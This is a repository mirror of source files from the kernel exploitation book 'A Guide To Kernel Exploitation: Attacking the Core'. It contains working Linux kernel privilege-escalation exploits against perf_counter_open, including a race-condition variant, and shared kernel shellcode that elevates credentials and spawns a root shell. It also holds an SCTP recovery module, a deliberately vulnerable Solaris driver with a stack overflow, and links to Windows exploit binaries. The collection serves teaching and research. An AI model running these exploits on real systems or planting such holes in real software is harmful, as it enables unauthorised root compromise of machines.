├── chapter4 ├── sol │ ├── dummy.conf │ ├── dummymod.h │ ├── dummymod.c │ └── hexpl.c └── linux │ ├── exploits │ ├── Makefile │ ├── Makefile32.mk │ ├── Makefile64.mk │ ├── exp_perfcount.c │ ├── kernel_header.h │ ├── kernel_env.c │ ├── exp_perfcount_race.c │ ├── kernel_shellcode.c │ └── exp_tiocl_houdini.c │ ├── recovery.c │ ├── kp-setuid.tar │ └── exploits.tar ├── chapter6 └── win │ ├── DVWDDriver.zip │ ├── DVWDExploits.zip │ └── binary │ ├── 2003 │ └── x32 │ │ └── SP2 │ │ └── dvwd_x32.zip │ ├── 2008 │ └── x64 │ │ └── R2 │ │ └── dvwd_x64.zip │ └── exploits │ ├── x32 │ └── DVWDExploits_x32.exe │ └── x64 │ └── DVWDExploits_x64.exe ├── README.md └── chapter8 └── linux └── sctp_houdini.c /chapter4/sol/dummy.conf: -------------------------------------------------------------------------------- 1 | name="dummy" parent="pseudo" instance="0"; 2 | -------------------------------------------------------------------------------- /chapter6/win/DVWDDriver.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yrp604/atc-sources/HEAD/chapter6/win/DVWDDriver.zip -------------------------------------------------------------------------------- /chapter6/win/DVWDExploits.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yrp604/atc-sources/HEAD/chapter6/win/DVWDExploits.zip -------------------------------------------------------------------------------- /chapter6/win/binary/2008/x64/R2/dvwd_x64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yrp604/atc-sources/HEAD/chapter6/win/binary/2008/x64/R2/dvwd_x64.zip -------------------------------------------------------------------------------- /chapter6/win/binary/2003/x32/SP2/dvwd_x32.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yrp604/atc-sources/HEAD/chapter6/win/binary/2003/x32/SP2/dvwd_x32.zip -------------------------------------------------------------------------------- /chapter6/win/binary/exploits/x32/DVWDExploits_x32.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yrp604/atc-sources/HEAD/chapter6/win/binary/exploits/x32/DVWDExploits_x32.exe -------------------------------------------------------------------------------- /chapter6/win/binary/exploits/x64/DVWDExploits_x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yrp604/atc-sources/HEAD/chapter6/win/binary/exploits/x64/DVWDExploits_x64.exe -------------------------------------------------------------------------------- /chapter4/linux/exploits/Makefile: -------------------------------------------------------------------------------- 1 | ARCH := $(shell uname -m) 2 | 3 | ifeq ($(ARCH), i686) 4 | include Makefile32.mk 5 | endif 6 | 7 | ifeq ($(ARCH), x86_64) 8 | include Makefile64.mk 9 | endif 10 | 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # A Guide To Kernel Exploitation: Attacking the Core 2 | 3 | By Enrico Perla and Massimiliano Oldani 4 | 5 | Associated source files from the now defunct website. 6 | 7 | NOTE: I am not the author, I'm just providing a mirror as the original site is 8 | no longer up. If you are one of the original authors and want me to take this 9 | down, please just let me know. 10 | -------------------------------------------------------------------------------- /chapter4/sol/dummymod.h: -------------------------------------------------------------------------------- 1 | /* 2 | * dummymod.h 3 | * 4 | * Used by both the kernel land module and the user land exploit. 5 | */ 6 | 7 | #ifndef _TESTKE_H 8 | #define _TESTKE_H 1 9 | 10 | enum { 11 | TEST_NULLDRF = 1, 12 | TEST_STACKOVF, 13 | TEST_SLABOVF, 14 | TEST_ALLOC_SLAB_BUF, 15 | TEST_FREE_SLAB_BUF 16 | }; 17 | 18 | struct test_request { 19 | int size; 20 | unsigned long addr; 21 | }; 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /chapter4/linux/exploits/Makefile32.mk: -------------------------------------------------------------------------------- 1 | CFLAGS=-g -fno-stack-protector -Wall 2 | CC=gcc 3 | OBJS=kernel_env.o kernel_shellcode.o 4 | 5 | all: exp_perfcount exp_perfcount_race 6 | 7 | 8 | exp_perfcount_race: lib 9 | $(CC) $(CFLAGS) -o $@ exp_perfcount_race.c $(OBJS) 10 | 11 | exp_perfcount: lib 12 | $(CC) $(CFLAGS) -o $@ exp_perfcount.c $(OBJS) 13 | 14 | lib: kernel_env.o kernel_shellcode.o 15 | 16 | kernel_env.o: kernel_env.c 17 | kernel_shellcode.o: kernel_shellcode.c 18 | 19 | clean: 20 | @rm -f *.o exp_perfcount exp_perfcount_race exp_tiocl_houdini perfcount_bof_race 21 | -------------------------------------------------------------------------------- /chapter4/linux/exploits/Makefile64.mk: -------------------------------------------------------------------------------- 1 | CFLAGS=-g -fno-stack-protector -Wall 2 | CC=gcc 3 | OBJS=kernel_env.o kernel_shellcode.o 4 | 5 | all: exp_perfcount exp_perfcount_race exp_tiocl_houdini 6 | 7 | 8 | exp_perfcount_race: lib 9 | $(CC) $(CFLAGS) -o $@ exp_perfcount_race.c $(OBJS) -static 10 | 11 | exp_perfcount: lib 12 | $(CC) $(CFLAGS) -o $@ exp_perfcount.c $(OBJS) -static 13 | 14 | exp_tiocl_houdini: lib 15 | $(CC) $(CFLAGS) -o $@ exp_tiocl_houdini.c $(OBJS) -lsctp -static 16 | 17 | lib: kernel_env.o kernel_shellcode.o 18 | 19 | kernel_env.o: kernel_env.c 20 | kernel_shellcode.o: kernel_shellcode.c 21 | 22 | clean: 23 | @rm -f *.o exp_perfcount exp_perfcount_race exp_tiocl_houdini perfcount_bof_race 24 | -------------------------------------------------------------------------------- /chapter4/linux/exploits/exp_perfcount.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "kernel_header.h" 10 | 11 | #undef __NR_perf_counter_open 12 | #ifdef __x86_64__ 13 | #define __NR_perf_counter_open 298 14 | #define BUF_SIZE 0x100 15 | #else 16 | #define __NR_perf_counter_open 336 17 | #define BUF_SIZE 0x80 18 | #endif 19 | 20 | struct perf_counter_attr { 21 | unsigned int type; 22 | unsigned int size; 23 | }; 24 | 25 | static void kernel_payload() 26 | { 27 | kernel_rise_privileges(); 28 | return_to_userland(); 29 | } 30 | 31 | 32 | int main(int argc, char *argv[]) 33 | { 34 | struct perf_counter_attr *ctr; 35 | int i; 36 | 37 | user_mode_set_env(); 38 | 39 | ctr = (struct perf_counter_attr *)malloc(_page_size); 40 | if (ctr == NULL) { 41 | __fatal_errno("[!!] malloc: out of memory"); 42 | exit(1); 43 | } 44 | 45 | memset(ctr, 0x00, _page_size); 46 | 47 | ctr->size = BUF_SIZE; 48 | ctr->type = 0xFFFFFFFF; 49 | for (i = 0x40; i < BUF_SIZE; i+= sizeof(unsigned long)) { 50 | if (!(i % (sizeof(unsigned long) * sizeof(unsigned long)))) 51 | continue; 52 | 53 | *(unsigned long *)((char *)ctr + i) = (unsigned long)kernel_payload; 54 | } 55 | 56 | syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL); 57 | __fatal_errno("[!!] perf_counter_open: System is not vulnerable"); 58 | 59 | return 0; 60 | } 61 | -------------------------------------------------------------------------------- /chapter4/linux/exploits/kernel_header.h: -------------------------------------------------------------------------------- 1 | #ifndef __KERNEL_HEADER_H 2 | #define __KERNEL_HEADER_H 3 | 4 | #include 5 | 6 | #define __KERNEL_DEBUG 7 | 8 | 9 | #define STACK_SIZE 8192 10 | 11 | 12 | #ifdef __KERNEL_DEBUG 13 | 14 | #ifndef __msg_f 15 | #define __msg_f(format, args...) \ 16 | do { fprintf(stdout, format, ## args); } while(0) 17 | #endif 18 | 19 | #ifndef __msg 20 | #define __msg(msg) \ 21 | do { fprintf(stdout, "%s", msg); } while(0) 22 | #endif 23 | 24 | #ifndef __fatal_errno 25 | #define __fatal_errno(msg) \ 26 | do { perror(msg); exit(1); } while(0) 27 | #endif 28 | 29 | #ifndef __fatal 30 | #define __fatal(msg) \ 31 | do { fprintf(stderr, msg); exit(1); } while(0) 32 | #endif 33 | 34 | #else 35 | 36 | #ifndef __msg_f 37 | #define __msg_f(format, args...) 38 | #endif 39 | 40 | #ifndef __msg 41 | #define __msg(msg) 42 | #endif 43 | 44 | #ifndef __fatal_errno 45 | #define __fatal_errno(msg) 46 | #endif 47 | 48 | #ifndef __fatal 49 | #define __fatal(msg) 50 | #endif 51 | 52 | #endif // __KERNEL_DEBUG 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | /* arch independent data */ 61 | 62 | int (*commit_creds)(void *); 63 | void* (*prepare_kernel_cred)(void *); 64 | 65 | /* user mode context */ 66 | extern unsigned long _user_cs; 67 | extern unsigned long _user_ss; 68 | extern unsigned long _user_rflags; 69 | extern unsigned long _alternate_code; 70 | extern unsigned long _alternate_stack; 71 | extern unsigned long _page_size; 72 | extern uint32_t _process_uid; 73 | extern uint32_t _process_gid; 74 | extern char stack[STACK_SIZE]; 75 | 76 | extern void user_mode_set_env(void); 77 | extern void user_mode_set_segment(void); 78 | extern unsigned long get_sym_kallsyms(const char*); 79 | extern void shell_exec(void); 80 | extern void kernel_rise_privileges(void); 81 | extern void return_to_userland(void); 82 | extern unsigned long __rdtsc(void); 83 | extern int start_thread(int (*f)(void *), void *arg); 84 | extern char *mmap_file_private(int fd, size_t size, int prot); 85 | 86 | 87 | 88 | 89 | #endif // __KERNEL_HEADER_H 90 | -------------------------------------------------------------------------------- /chapter4/linux/exploits/kernel_env.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "kernel_header.h" 10 | 11 | /* arch dependent data/code */ 12 | 13 | #ifdef __x86_64__ 14 | 15 | unsigned long __rdtsc() 16 | { 17 | unsigned long __tsc; 18 | asm volatile( 19 | "pushq %%rax\t\n" 20 | "pushq %%rdx\t\n" 21 | "xorq %%rdx, %%rdx\t\n" 22 | "xorq %%rax, %%rax\t\n" 23 | "rdtsc\t\n" 24 | "shlq $32, %%rdx\t\n" 25 | "orq %%rdx, %%rax\t\n" 26 | "movq %%rax, %0\t\n" 27 | "popq %%rdx\t\n" 28 | "popq %%rax\t\n" 29 | : "=r"(__tsc) : : "rdx", "rax" 30 | ); 31 | return __tsc; 32 | } 33 | 34 | 35 | #endif 36 | 37 | 38 | unsigned long get_sym_kallsyms(const char* symstr) 39 | { 40 | FILE* stream; 41 | char fbuf[256]; 42 | char addr[32]; 43 | 44 | stream = fopen("/proc/kallsyms", "r"); 45 | if (stream == NULL) 46 | __fatal_errno("open: kallsyms"); 47 | 48 | memset(fbuf, 0x00, sizeof(fbuf)); 49 | while(fgets(fbuf, 256, stream) > 0) 50 | { 51 | char *p = fbuf; 52 | char *a = addr; 53 | memset(addr, 0x00, sizeof(addr)); 54 | fbuf[strlen(fbuf)-1] = 0; 55 | while(*p != ' ') 56 | *a++ = *p++; 57 | p += 3; 58 | if(!strcmp(p, symstr)) 59 | return strtoul(addr, NULL, 16); 60 | } 61 | 62 | return 0; 63 | } 64 | 65 | 66 | /* arch independent data/code */ 67 | 68 | void user_mode_set_env() 69 | { 70 | user_mode_set_segment(); 71 | memset(stack, 0x00, sizeof(stack)); 72 | _alternate_stack = (unsigned long)stack; 73 | _alternate_code = (unsigned long)shell_exec; 74 | _process_uid = getuid(); 75 | _process_gid = getgid(); 76 | _page_size = sysconf(_SC_PAGESIZE); 77 | commit_creds = (void*)get_sym_kallsyms("commit_creds"); 78 | prepare_kernel_cred = (void*)get_sym_kallsyms("prepare_kernel_cred"); 79 | 80 | #ifdef __KERNEL_DEBUG 81 | __msg_f("[**] commit_cred=%p\n", commit_creds); 82 | __msg_f("[**] prepare_kernel_cred=%p\n", prepare_kernel_cred); 83 | #endif 84 | } 85 | 86 | void shell_exec(void) 87 | { 88 | char *argv[2] = {"/bin/sh", NULL}; 89 | execve("/bin/sh", argv, NULL); 90 | printf("[!!] Execve failed!\n"); 91 | exit(1); 92 | } 93 | 94 | int start_thread(int (*f)(void *), void *arg) 95 | { 96 | char *stack = calloc(1, STACK_SIZE); 97 | int tid; 98 | if(stack == NULL) 99 | __fatal_errno("calloc"); 100 | 101 | tid = clone(f, stack + STACK_SIZE - sizeof(unsigned long), 102 | CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg); 103 | 104 | if (tid < 0) { 105 | free(stack); 106 | __fatal_errno("clone"); 107 | } 108 | return tid; 109 | } 110 | 111 | 112 | -------------------------------------------------------------------------------- /chapter4/linux/exploits/exp_perfcount_race.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include "kernel_header.h" 17 | 18 | #undef __NR_perf_counter_open 19 | #ifdef __x86_64__ 20 | #define __NR_perf_counter_open 298 21 | #define BUF_SIZE 0x100 22 | #else 23 | #define __NR_perf_counter_open 336 24 | #define BUF_SIZE 0x80 25 | #endif 26 | 27 | volatile long check=0; 28 | 29 | struct perf_counter_attr { 30 | unsigned int type; 31 | unsigned int size; 32 | }; 33 | 34 | static void kernel_payload() 35 | { 36 | kernel_rise_privileges(); 37 | return_to_userland(); 38 | } 39 | 40 | 41 | static unsigned long prepare_mapping(const char* filestr) 42 | { 43 | int fd,fd_odirect; 44 | char *anon_map, *private_map; 45 | unsigned long *val; 46 | 47 | 48 | fd_odirect = open(filestr, O_RDWR|O_DIRECT|O_CREAT, S_IRUSR|S_IWUSR); 49 | if(fd_odirect < 0) 50 | __fatal_errno(" [!!] open: O_DIRECT"); 51 | 52 | 53 | /* create anonymous+private file mapping for the following reasons: 54 | - this is the racer-buffer, it is composed by two pages: 55 | the first page is created within an ANONYMOUS mapping, the second is a PRIVATE mapping on a file (which cache is kept away) 56 | - the start of the buffer is page aligned and can be used for writing into the O_DIRECT file descriptor 57 | */ 58 | 59 | anon_map = mmap(NULL, _page_size*2, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); 60 | if(anon_map == MAP_FAILED) 61 | __fatal_errno("[!!] mmap: MAP_ANONYMOUS"); 62 | 63 | memset(anon_map, 0x00, _page_size); 64 | 65 | /* use anonymous aligned address to write into O_DIRECT fd */ 66 | val = (unsigned long *)anon_map; 67 | 68 | /* PAGE_SIZE is always multiple of disk block size */ 69 | if(write(fd_odirect, val, _page_size) < 0) 70 | __fatal_errno("[!!] write: O_DIRECT"); 71 | 72 | 73 | fd = open(filestr, O_RDWR); 74 | if(fd < 0) 75 | __fatal_errno("[!!] open: unable to open file"); 76 | 77 | if(munmap(anon_map + _page_size, _page_size) < 0) 78 | __fatal_errno("[!!] munmap: unable to unmap"); 79 | 80 | /* avoid using MAP_FIXED which can create file-cache troubles */ 81 | private_map = mmap(anon_map + _page_size, _page_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); 82 | if(private_map == MAP_FAILED) 83 | __fatal_errno("[!!] mmap: MAP_PRIVATE"); 84 | 85 | 86 | #ifdef __KERNEL_DEBUG 87 | 88 | __msg_f("[**] Anonymous Map: %p, File Map: %p\n", anon_map, private_map); 89 | 90 | #endif 91 | 92 | 93 | return (unsigned long)private_map; 94 | } 95 | 96 | 97 | static volatile int racer=0; 98 | static int racer_thread(void *buff) 99 | { 100 | int total = (BUF_SIZE - sizeof(unsigned long)) / sizeof(unsigned long),i; 101 | unsigned long *p_addr = buff; 102 | 103 | /* loop until race */ 104 | while(!racer); 105 | check=1; 106 | for(i=0; isize = BUF_SIZE; 135 | ctr->type = 0xFFFFFFFFUL; 136 | 137 | racer=1; 138 | if(syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL) < 0) 139 | __fatal_errno("[!!] perf_counter_open: failed, system is not vulnerable"); 140 | 141 | return 0; 142 | } 143 | 144 | -------------------------------------------------------------------------------- /chapter4/linux/exploits/kernel_shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "kernel_header.h" 11 | 12 | #define PAGE_SIZE 0x1000 13 | #define PAGE_MASK4K (~(PAGE_SIZE -1)) 14 | #define PAGE_MASK8K (~(PAGE_SIZE*2 -1)) 15 | 16 | /* arch dependent data/code */ 17 | 18 | #ifdef __x86_64__ 19 | 20 | int (*commit_creds)(void *); 21 | void* (* prepare_kernel_cred)(void *); 22 | 23 | void user_mode_set_segment() 24 | { 25 | asm("movq %%cs, %0\t\n" 26 | "movq %%ss, %1\t\n" 27 | "pushfq\t\n" 28 | "popq %2\t\n" 29 | : "=r"(_user_cs), "=r"(_user_ss), "=r"(_user_rflags) : : "memory"); 30 | } 31 | 32 | 33 | void return_to_userland() 34 | { 35 | asm volatile ( 36 | "swapgs ;" 37 | "movq %0, 0x20(%%rsp)\t\n" 38 | "movq %1, 0x18(%%rsp)\t\n" 39 | "movq %2, 0x10(%%rsp)\t\n" 40 | "movq %3, 0x08(%%rsp)\t\n" 41 | "movq %4, 0x00(%%rsp)\t\n" 42 | "iretq" 43 | : : "r" (_user_ss), 44 | "r" (_alternate_stack + (STACK_SIZE)/2), 45 | "r" (_user_rflags), 46 | "r" (_user_cs), 47 | "r" (_alternate_code) 48 | ); 49 | } 50 | 51 | #else // X86_32 52 | 53 | /* 54 | * Returns 0 if the stack is invalid, 1 otherwise. 55 | */ 56 | 57 | static int is_valid_stack(unsigned long temp) 58 | { 59 | if (temp > 0xc0000000 && temp < 0xff000000) { 60 | long state = *((unsigned long *)temp); 61 | if (state == 0) 62 | return 1; 63 | else 64 | return 0; 65 | } 66 | return 0; 67 | } 68 | 69 | void user_mode_set_segment() 70 | { 71 | asm("movl %%cs, %0\t\n" 72 | "movl %%ss, %1\t\n" 73 | "pushfl\t\n" 74 | "popl %2\t\n" 75 | : "=r"(_user_cs), "=r"(_user_ss), "=r"(_user_rflags) : : "memory"); 76 | } 77 | 78 | void return_to_userland() 79 | { 80 | asm volatile ( 81 | "movl %0, 0x10(%%esp)\t\n" 82 | "movl %1, 0x0c(%%esp)\t\n" 83 | "movl %2, 0x08(%%esp)\t\n" 84 | "movl %3, 0x04(%%esp)\t\n" 85 | "movl %4, 0x00(%%esp)\t\n" 86 | "iret" 87 | : : "r" (_user_ss), 88 | "r" (_alternate_stack + (STACK_SIZE)/2), 89 | "r" (_user_rflags), 90 | "r" (_user_cs), 91 | "r" (_alternate_code) 92 | ); 93 | } 94 | 95 | #endif 96 | 97 | 98 | /* arch independent code */ 99 | 100 | unsigned long _user_cs; 101 | unsigned long _user_ss; 102 | unsigned long _user_rflags; 103 | unsigned long _alternate_code; 104 | unsigned long _alternate_stack; 105 | unsigned long _page_size; 106 | uint32_t _process_uid; 107 | uint32_t _process_gid; 108 | char stack[STACK_SIZE]; 109 | 110 | 111 | 112 | /* 113 | * Computes the address of the task_struct from the 114 | * address of the kernel stack. Returns NULL on failure. 115 | */ 116 | 117 | static void *get_task_struct() 118 | { 119 | unsigned long stack,ret,stack4k,stack8k; 120 | int dummy; 121 | stack = (unsigned long)&dummy; 122 | stack4k = stack & PAGE_MASK4K; 123 | stack8k = stack & PAGE_MASK8K; 124 | 125 | #ifdef __x86_64__ 126 | 127 | ret = *((unsigned long *)stack8k); 128 | 129 | #else // x86_32 130 | 131 | ret = *((unsigned long*)stack4k); 132 | if(!is_valid_stack(ret)) { 133 | ret = *((unsigned long*)stack8k); 134 | if (!is_valid_stack(ret)) 135 | return NULL; 136 | } 137 | #endif 138 | 139 | return (void*)ret; 140 | } 141 | 142 | 143 | #define TRESHOLD 1100 144 | static void __kernel_rise_priv_old(void* t) 145 | { 146 | int i; 147 | uint32_t *k = t; 148 | for(i=0; i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | 24 | MODULE_LICENSE("GPL"); 25 | 26 | /* target_pid: process pid to check */ 27 | static int target_pid=0; 28 | module_param(target_pid, int, 0); 29 | MODULE_PARM_DESC(target_pid, "Pid of Child"); 30 | 31 | static struct socket *get_sock(struct file *file) 32 | { 33 | const struct file_operations *fops; 34 | struct socket *s; 35 | if(!file->private_data || !file->f_op) 36 | return NULL; 37 | 38 | fops = file->f_op; 39 | 40 | /* check for socket_file_ops: it is a workaround since the socket_file_ops and the corresponding dentry 41 | corresponding is not exported, this code just make a simple-heuristic signature of the 42 | file operation structure */ 43 | if(fops->llseek != no_llseek || fops->readdir || fops->read || fops->write || 44 | !fops->aio_read || !fops->aio_write || fops->ioctl) 45 | return NULL; 46 | 47 | s = (struct socket *)file->private_data; 48 | 49 | /* check for state: just a further check ... */ 50 | if(s->state < 0 || s->state > 4) 51 | return NULL; 52 | 53 | /* should be socket */ 54 | return file->private_data; 55 | } 56 | 57 | 58 | /* fix the current user-land allocated object passing it a real k-object */ 59 | static int __fix_sctp_ssnmap(struct sctp_association *asoc) 60 | { 61 | struct sctp_ssnmap *old = asoc->ssnmap; 62 | void *valid_kbuf = kmalloc(128, GFP_KERNEL); 63 | if(!valid_kbuf) 64 | return -ENOMEM; 65 | 66 | asoc->ssnmap = valid_kbuf; 67 | 68 | printk(KERN_INFO "__fix_sctp_ssnmap(): old(%p) -> (new)%p\n", old, valid_kbuf); 69 | return 0; 70 | } 71 | 72 | 73 | /* scan the file descriptor table to find SCTP socket */ 74 | static int __find_sctp_sock_and_fix(struct fdtable *fdt) 75 | { 76 | int max_fds=fdt->max_fds,i; 77 | for(i=0; ifd[i]); 80 | if(f) 81 | { 82 | struct socket *s; 83 | struct sock *net_s; 84 | struct sctp_sock *sctp_s; 85 | struct sctp_association *asoc; 86 | s=get_sock(f); 87 | if(s) 88 | { 89 | printk(KERN_INFO "__find_sctp_sock_and_fix(): %d is a socket\n", i); 90 | net_s = s->sk; 91 | /* select just SCTP sockets */ 92 | if(net_s->sk_protocol == IPPROTO_SCTP) 93 | { 94 | printk(KERN_INFO "__find_sctp_sock_and_fix(): %d is an SCTP socket\n", i); 95 | sctp_s = (struct sctp_sock *)net_s; 96 | 97 | /* every endpoin can have multiple associations */ 98 | list_for_each_entry(asoc, &(sctp_s->ep->asocs), asocs) { 99 | struct sctp_ssnmap *ssnmap = asoc->ssnmap; 100 | printk(KERN_INFO "__find_sctp_sock_and_fix(): new ssnmap: %p\n", ssnmap); 101 | 102 | /* check whether the ssnmap pointer addresses user mode */ 103 | if((unsigned long)ssnmap < (unsigned long)PAGE_OFFSET) 104 | if(!__fix_sctp_ssnmap(asoc)) 105 | return 0; 106 | } 107 | } 108 | } 109 | } 110 | } 111 | return -ENODATA; 112 | } 113 | 114 | static int fix_ssnmap(pid_t t_p) 115 | { 116 | struct task_struct *p; 117 | struct fdtable *fdt; 118 | struct files_struct *files; 119 | struct pid *pid; 120 | int ret=-ENODATA; 121 | 122 | /* the the pid structure used to addresses the correct task */ 123 | pid = find_get_pid(t_p); 124 | if(!pid) 125 | goto fail; 126 | 127 | /* pid_task() is race prone! :) 128 | new module Gestapo rules deny the access to the get_task_struct() function and alike.. 129 | (tasklist_lock, etc.. all of them are no more exported) 130 | TODO: find, if exists, a method to get and hold correctly a task_struct from a module... 131 | or just pass the tasklist_lock address via MODULE_PARM()) 132 | */ 133 | 134 | p = pid_task(pid, PIDTYPE_PID); 135 | if(!p) 136 | goto fail; 137 | 138 | /* get file description table and lock it */ 139 | files = p->files; 140 | spin_lock(&files->file_lock); 141 | fdt = files_fdtable(files); 142 | ret = __find_sctp_sock_and_fix(fdt); 143 | spin_unlock(&files->file_lock); 144 | put_pid(pid); 145 | 146 | fail: 147 | return ret; 148 | 149 | } 150 | 151 | 152 | 153 | static int recovery_init(void) 154 | { 155 | int ret; 156 | /* check for MUDULE_PARM() */ 157 | if(!target_pid) 158 | { 159 | printk(KERN_INFO "Hello: Module Param Needed\n"); 160 | return -1; 161 | } 162 | 163 | /* call fix-up function */ 164 | ret = fix_ssnmap(target_pid); 165 | if(ret < 0) 166 | printk(KERN_INFO "fix_ssnmap() - Unable to Fix the ssnmap - keep the process alive\n"); 167 | 168 | return 0; 169 | } 170 | 171 | static void recovery_exit(void) 172 | { 173 | } 174 | 175 | module_init(recovery_init); 176 | module_exit(recovery_exit); 177 | -------------------------------------------------------------------------------- /chapter4/sol/dummymod.c: -------------------------------------------------------------------------------- 1 | /* 2 | * dummymod.c 3 | * 4 | * Solary dummy (and vulnerable) module code. Creates a pseudo device in 5 | * /devices/pseudo/dummy0:0 which can be attacked by vulnerable IOCTL calls. 6 | * 7 | * To compile and install (with SunStudio, on a amd64 64-bit kernel) use: 8 | * 9 | * # cc -D_KERNEL -m64 -xmodel=kernel -c dummymod.c 10 | * # /usr/bin/ld -r -o dummy dummymod.o 11 | * 12 | * and then: 13 | * # cp dummy /kernel/drv/amd64/ 14 | * # cp dummy.conf /kernel/drv/ 15 | * # add_drv -m '* 0644 root sys' dummy 16 | * 17 | * At this point pseudo device has been created: 18 | * # ls -l /devices/pseudo/dummy\@0\:0 19 | * crw-r--r-- 1 root sys 302, 0 2010-09-24 02:33 /devices/pseudo/dummy@0:0 20 | * 21 | * To "remove" use rem_drv 22 | * # rem_drv dummy 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #include "dummymod.h" 40 | 41 | static int test_attach(dev_info_t *dip, ddi_attach_cmd_t cmd); 42 | static int test_detach(dev_info_t *dip, ddi_detach_cmd_t cmd); 43 | static int test_getinfo(dev_info_t *dip, ddi_info_cmd_t cmd, void *arg, 44 | void **resultp); 45 | static int test_open(dev_t *devp, int flag, int otyp, cred_t *cred); 46 | static int test_close(dev_t dev, int flag, int otyp, cred_t *cred); 47 | static int test_ioctl(dev_t dev, int cmd, intptr_t arg, int mode, 48 | cred_t *cred_p, int *rval_p ); 49 | 50 | static struct cb_ops test_cb_ops = { 51 | test_open, 52 | test_close, 53 | nodev, /* no stragegy */ 54 | nodev, /* no print */ 55 | nodev, /* no dump */ 56 | nodev, 57 | nodev, 58 | test_ioctl, 59 | nodev, /* no devmap */ 60 | nodev, /* no mmap */ 61 | nodev, /* no segmap */ 62 | nochpoll, 63 | ddi_prop_op, 64 | NULL, 65 | D_NEW | D_MP, 66 | CB_REV, /* cb_ops revision number */ 67 | nodev, /* no aread */ 68 | nodev /* no awrite */ 69 | }; 70 | 71 | static struct dev_ops test_dev_ops = { 72 | DEVO_REV, 73 | 0, /* reference count */ 74 | test_getinfo, 75 | nulldev, /* no identify - nulldev returns 0 */ 76 | nulldev, /* no probe */ 77 | test_attach, 78 | test_detach, 79 | nodev, /* no reset - nodev returns ENXIO */ 80 | &test_cb_ops, 81 | (struct bus_ops *)NULL, 82 | nodev /* no power */ 83 | }; 84 | 85 | static struct modldrv md = { 86 | &mod_driverops, /* Type of module. This is a driver. */ 87 | "vulnerable dummy module", /* Name of the module. */ 88 | &test_dev_ops 89 | }; 90 | 91 | /* modlinkage structure */ 92 | static struct modlinkage ml = { 93 | MODREV_1, 94 | &md, 95 | NULL 96 | }; 97 | 98 | /* dev_info structure */ 99 | dev_info_t *test_dip; /* keep track of one instance */ 100 | 101 | 102 | /* Loadable module configuration entry points */ 103 | int 104 | _init(void) 105 | { 106 | cmn_err(CE_NOTE, "Loading dummy vulnerable module..."); 107 | return (mod_install(&ml)); 108 | } 109 | 110 | int 111 | _info(struct modinfo *modinfop) 112 | { 113 | return (mod_info(&ml, modinfop)); 114 | } 115 | 116 | int 117 | _fini(void) 118 | { 119 | cmn_err(CE_NOTE, "Unloading dummy vulnerable module..."); 120 | return(mod_remove(&ml)); 121 | } 122 | 123 | /* Device configuration entry points */ 124 | static int 125 | test_attach(dev_info_t *dip, ddi_attach_cmd_t cmd) 126 | { 127 | switch(cmd) { 128 | case DDI_ATTACH: 129 | test_dip = dip; 130 | if (ddi_create_minor_node(dip, "0", S_IFCHR, 131 | ddi_get_instance(dip), DDI_PSEUDO,0) != DDI_SUCCESS) 132 | return (DDI_FAILURE); 133 | else 134 | return (DDI_SUCCESS); 135 | default: 136 | return DDI_FAILURE; 137 | } 138 | } 139 | 140 | static int 141 | test_detach(dev_info_t *dip, ddi_detach_cmd_t cmd) 142 | { 143 | cmn_err(CE_NOTE, "Inside test_detach"); 144 | switch(cmd) { 145 | case DDI_DETACH: 146 | test_dip = 0; 147 | ddi_remove_minor_node(dip, NULL); 148 | return (DDI_SUCCESS); 149 | default: 150 | return (DDI_FAILURE); 151 | } 152 | } 153 | 154 | static int 155 | test_getinfo(dev_info_t *dip, ddi_info_cmd_t cmd, void *arg, 156 | void **resultp) 157 | { 158 | cmn_err(CE_NOTE, "Inside test_getinfo"); 159 | switch(cmd) { 160 | case DDI_INFO_DEVT2DEVINFO: 161 | *resultp = test_dip; 162 | return (DDI_SUCCESS); 163 | case DDI_INFO_DEVT2INSTANCE: 164 | *resultp = 0; 165 | return (DDI_SUCCESS); 166 | default: 167 | return (DDI_FAILURE); 168 | } 169 | } 170 | 171 | /* 172 | * Pretty darn dummy... 173 | */ 174 | static int 175 | test_open(dev_t *devp, int flag, int otyp, cred_t *cred) 176 | { 177 | return (DDI_SUCCESS); 178 | } 179 | 180 | static int 181 | test_close(dev_t dev, int flag, int otyp, cred_t *cred) 182 | { 183 | return (DDI_SUCCESS); 184 | } 185 | 186 | #define STACKBUF (32) 187 | 188 | static int handle_stack (intptr_t arg) 189 | { 190 | char buf[STACKBUF]; 191 | struct test_request req; 192 | 193 | ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0); 194 | cmn_err(CE_CONT, "Requested to copy over buf %d bytes from %p\n", 195 | req.size, &buf); 196 | ddi_copyin((void *)req.addr, buf, 